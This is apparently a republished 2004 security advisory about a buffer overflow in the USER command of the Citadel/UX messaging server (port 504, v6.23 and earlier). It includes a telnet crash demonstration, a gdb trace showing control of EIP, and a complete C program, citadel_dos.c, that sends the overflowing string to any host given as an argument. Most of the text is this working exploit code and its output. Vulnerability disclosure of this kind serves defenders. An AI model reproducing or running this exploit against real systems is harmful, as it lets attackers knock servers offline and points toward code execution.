04 - Citadel/UX Remote Denial of Service Vulnerability, Linux/Unix-Compatible

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Advisory

· 19 Dec 2022

No System Group - Advisory #04 - 28/07/04

Program: Citadel/UX
Homepage: http://www.citadel.org
Operating System: Linux and Unix-Compatible
Vulnerable Versions: Citadel/UX v6.23 and prior
Risk: Medium / High
Impact: Remote Denial of Service Vulnerability

DESCRIPTION

Citadel/UX is an advanced client/server messaging and collaboration system for BBS and groupware applications. Users can connect to Citadel/UX using any telnet, WWW, or client software. Among the features supported are public and private message bases (rooms), electronic mail, real-time chat, paging, etc. The server is multithreaded and can easily support a large number of concurrent users. In addition, SMTP, IMAP, and POP3 servers are built-in for easy connection to Internet mail. Citadel/UX is both robust and mature, having been developed over the course of the past thirteen years.

More informations at: http://www.citadel.org

DETAILS

When sending a USER to Citadel/UX (port 504) longer than 97 bytes, an overflow will occur and EIP will be overwritten.

coki@servidor:~$ telnet localhost 504 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '^]'. 
200 servidor Citadel/UX server ready. 
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAA 
Connection closed by foreign host. 
coki@servidor:~$

Now we proceed to open gdb to view what may have occured.

root@servidor:~# ps -ax | grep "citserver -d" 
20147 pts/2    S      0:00 /usr/local/citadel/citserver -d 
root@servidor:~# gdb citserver 20147 
GNU gdb 5.3 
Copyright 2002 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public 
License, and you are welcome to change it and/or distribute 
copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show 
warranty" for details. This GDB was configured as 
"i386-slackware-linux"...citserver: No such file or directory. 

Attaching to process 20147 
Reading symbols from /usr/local/citadel/citserver...done. 
Reading symbols from /lib/libpthread.so.0...done. 
Loaded symbols for /lib/libpthread.so.0 
Reading symbols from /lib/libncurses.so.5...done. 
Loaded symbols for /lib/libncurses.so.5 
Reading symbols from /lib/librt.so.1...done. 
Loaded symbols for /lib/librt.so.1 
Reading symbols from /usr/lib/libz.so.1...done. 
Loaded symbols for /usr/lib/libz.so.1 
Reading symbols from /lib/libresolv.so.2...done. 
Loaded symbols for /lib/libresolv.so.2 
Reading symbols from /lib/libc.so.6...done. 
Loaded symbols for /lib/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2 
Reading symbols from /lib/libnss_compat.so.2...done. 
Loaded symbols for /lib/libnss_compat.so.2 
Reading symbols from /lib/libnsl.so.1...done. 
Loaded symbols for /lib/libnsl.so.1 
0x401072e1 in sigpending () from /lib/libc.so.6 
(gdb) c 
Continuing. 

Program received signal SIG32, Real-time event 32. 
0x401072e1 in sigpending () from /lib/libc.so.6 
(gdb) c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 
0x61616161 in ?? () 
(gdb) i r esp ebp eip 
esp            0xbfffc890       0xbfffc890 
ebp            0x61616161       0x61616161 
eip            0x61616161       0x61616161 
(gdb) q 
The program is running.  Quit anyway (and detach it)? (y or n) y 
Detaching from program: /usr/local/citadel/citserver, process 20147 
root@servidor:~#

The server does a tolower() (converts an uppercase letter to the corresponding lowercase letter) on the buffer before the overflow occurs, thus limiting the number of instructions we can use.

EXPLOIT

----------------- citadel_dos.c ----------------- 
/* citadel_dos.c 
 * 
 * Citadel/UX Remote DoS exploit (Proof of Concept) 
 * 
 * Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0 
 * 
 * by CoKi <coki@nosystem.com.ar> 
 * No System Group - http://www.nosystem.com.ar 
 */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <errno.h> 
#include <string.h> 
#include <getopt.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <sys/fcntl.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 

#define BUFFERSIZE 96+1 
#define ERROR -1 
#define TIMEOUT 3 
#define PORT 504 

int connect_timeout(int sfd, struct sockaddr *serv_addr, 
  socklen_t addrlen, int timeout); 
void use(char *program); 

int main(int argc, char *argv[]) { 
	char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE]; 
	int sockfd; 
	struct hostent *he; 
	struct sockaddr_in dest_dir; 

	if(argc != 2) use(argv[0]); 

	p = buffer; 

	printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n"); 
	printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 

      memset(p, 'A', 96); 
	p += 92; 
	*p = '\0'; 

	printf(" [+] verifying host:\t"); 
	fflush(stdout); 

	if((he=gethostbyname(argv[1])) == NULL) { 
		herror("Error"); 
		printf("\n"); 
		exit(1); 
	} 

	printf("OK\n"); 

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) { 
		perror("Error"); 
		printf("\n"); 
		exit(1); 
	} 

	dest_dir.sin_family = AF_INET; 
	dest_dir.sin_port = htons(PORT); 
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr); 
	bzero(&(dest_dir.sin_zero), 8); 

	printf(" [+] conecting...\t"); 
	fflush(stdout); 

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, 
		sizeof(struct sockaddr), TIMEOUT) == ERROR) { 

		printf("Closed\n\n"); 
		exit(1); 
	} 

	printf("OK\n"); 

	printf(" [+] sending exploit...\t"); 
	fflush(stdout); 

	recv(sockfd, temp, sizeof(temp), 0); 
	send(sockfd, "USER ", 5, 0); 
	send(sockfd, buffer, strlen(buffer), 0); 
	send(sockfd, "\n", 1, 0); 
	close(sockfd); 

	printf("OK\n\n"); 
} 

int connect_timeout(int sfd, struct sockaddr *serv_addr, 
  socklen_t addrlen, int timeout) { 

  int res, slen, flags; 
  struct timeval tv; 
  struct sockaddr_in addr; 
  fd_set rdf, wrf; 

  fcntl(sfd, F_SETFL, O_NONBLOCK); 

  res = connect(sfd, serv_addr, addrlen); 

  if (res >= 0) return res; 

  FD_ZERO(&rdf); 
  FD_ZERO(&wrf); 

  FD_SET(sfd, &rdf); 
  FD_SET(sfd, &wrf); 
  bzero(&tv, sizeof(tv)); 
  tv.tv_sec = timeout; 

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0) 
    return -1; 

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) { 
    slen = sizeof(addr); 
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1) 
    return -1; 

    flags = fcntl(sfd, F_GETFL, NULL); 
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK); 

    return 0; 
  } 

  return -1; 
} 

void use(char *program) { 
	printf("Use: %s <host>\n", program); 
	exit(1); 
} 

----------------- citadel_dos.c ----------------- 

coki@servidor:~$ make citadel_dos 
coki@servidor:~$ ./citadel_dos localhost 

 Citadel/UX Remote DoS exploit (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

 [+] verifying host:    OK 
 [+] conecting...       OK 
 [+] sending exploit... OK 

coki@servidor:~$